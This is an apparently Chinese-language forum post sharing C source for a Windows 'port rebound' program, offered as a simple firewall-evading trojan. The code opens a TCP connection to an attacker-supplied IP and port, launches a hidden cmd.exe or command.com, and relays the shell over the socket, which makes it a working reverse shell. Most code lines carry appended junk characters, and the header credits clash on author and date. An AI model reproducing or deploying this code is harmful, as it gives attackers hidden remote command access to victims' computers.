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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 a! 3eZ,  
NT=)</v  
/* ============================== |R;`  
Rebound port in Windows NT /$d #9Uv  
By wind,2006/7 )i"52!  
===============================*/ R$x(3eyx  
#include kq*IC&y  
#include g;~$xXn  
SaOOD-u  
#pragma comment(lib,"wsock32.lib") KK?R|1VK9  
m KJO?7tj  
void OutputShell(); $\#wsI(  
SOCKET sClient; *7{{z%5Pu  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; W0S\g#  
YF(bl1>YC  
void main(int argc,char **argv) aJ J)ZP2+  
{ gm$<U9L\v  
WSADATA stWsaData; \I7&F82e  
int nRet; <u  ImZC  
SOCKADDR_IN stSaiClient,stSaiServer; HggINMG  
62o nMY  
if(argc != 3) 734H{,~  
{ 2;7n0LOs}  
printf("Useage:\n\rRebound DestIP DestPort\n"); )0\D1IFJ  
return; *|,ye5"  
} 5 Nt9'"  
UW Px|]RC  
WSAStartup(MAKEWORD(2,2),&stWsaData); ~X-v@a  
{>d\  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ),@m 3wQ  
CpU y~  
stSaiClient.sin_family = AF_INET; _z@_.%P\  
stSaiClient.sin_port = htons(0); l]L"Ex{  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8#|PJc  
g6H`uO  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~PX#' Jr  
{ 7Q|v5@;pU  
printf("Bind Socket Failed!\n"); /BrbP7  
return; |H%,>r`9S  
} p[%B#(]9,  
loD:4e1  
stSaiServer.sin_family = AF_INET; in>?kbaG+  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^ x_+ &  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,o\~d ?4  
eK/rs r  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) v"sN K  
{ "4CO^ B  
printf("Connect Error!"); 5ZjM:wrF|  
return; Qv@)WJ="-0  
} bKQ-PM&I/t  
OutputShell(); nC\LDeKc  
} :&m0eZZ%  
qbo W<W<H1  
void OutputShell() }^PdW3O*m,  
{ ?ehUGvV2  
char szBuff[1024]; @}tk/7-E  
SECURITY_ATTRIBUTES stSecurityAttributes; 51puR8AG>  
OSVERSIONINFO stOsversionInfo; - P'c0I9z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; { pu .l4nk  
STARTUPINFO stStartupInfo; XtIY8wsP  
char *szShell; gal.<SVW  
PROCESS_INFORMATION stProcessInformation; jxZd =%7Q  
unsigned long lBytesRead; %loe8yt  
ANd#m9(x  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); lLZ?&z$  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Nk shJ2  
stSecurityAttributes.lpSecurityDescriptor = 0; 8yCQWDE}  
stSecurityAttributes.bInheritHandle = TRUE; -;t]e6[  
~'/_q4  
v,mn=Q&9  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); } mEsb?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); S.NLxb/  
sme!!+Rd  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0& ?/TSC  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +#g?rCz  
stStartupInfo.wShowWindow = SW_HIDE; N2`u ]*"0  
stStartupInfo.hStdInput = hReadPipe; <{Ir',;  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /yL:_6c-  
' Y.s}Duj  
GetVersionEx(&stOsversionInfo); R6 dD17  
GA@Zfcg  
switch(stOsversionInfo.dwPlatformId) /,2${$c!  
{ 6IC/~Woghx  
case 1: L51uC ,QF  
szShell = "command.com"; ]0)=0pc]E  
break; H He~OxWg  
default: dtUt2r)6L;  
szShell = "cmd.exe"; OcGHMGdn  
break; |DMa2}%  
} _sp/RU,J-3  
^DS+O>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =H2.1 :'  
C!aK5rqhv  
send(sClient,szMsg,77,0); C~a- R#  
while(1) ^ql+l~  
{ X?Mc"M  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nyR4E}@:O  
if(lBytesRead) x?MSHOia`P  
{  mH*6Q>  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); zE\@x+k.  
send(sClient,szBuff,lBytesRead,0); ^gD%#3>X  
} ~#jD/  
else B?)=d,E  
{ FGG 7;0(  
lBytesRead=recv(sClient,szBuff,1024,0); ');QmN%J  
if(lBytesRead<=0) break; RAW(lZ(  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); FUj4y 9X  
} {^VvL'n  
} z`[q$H7?  
TGe{NUO  
return; {JlW1;Jc7  
}
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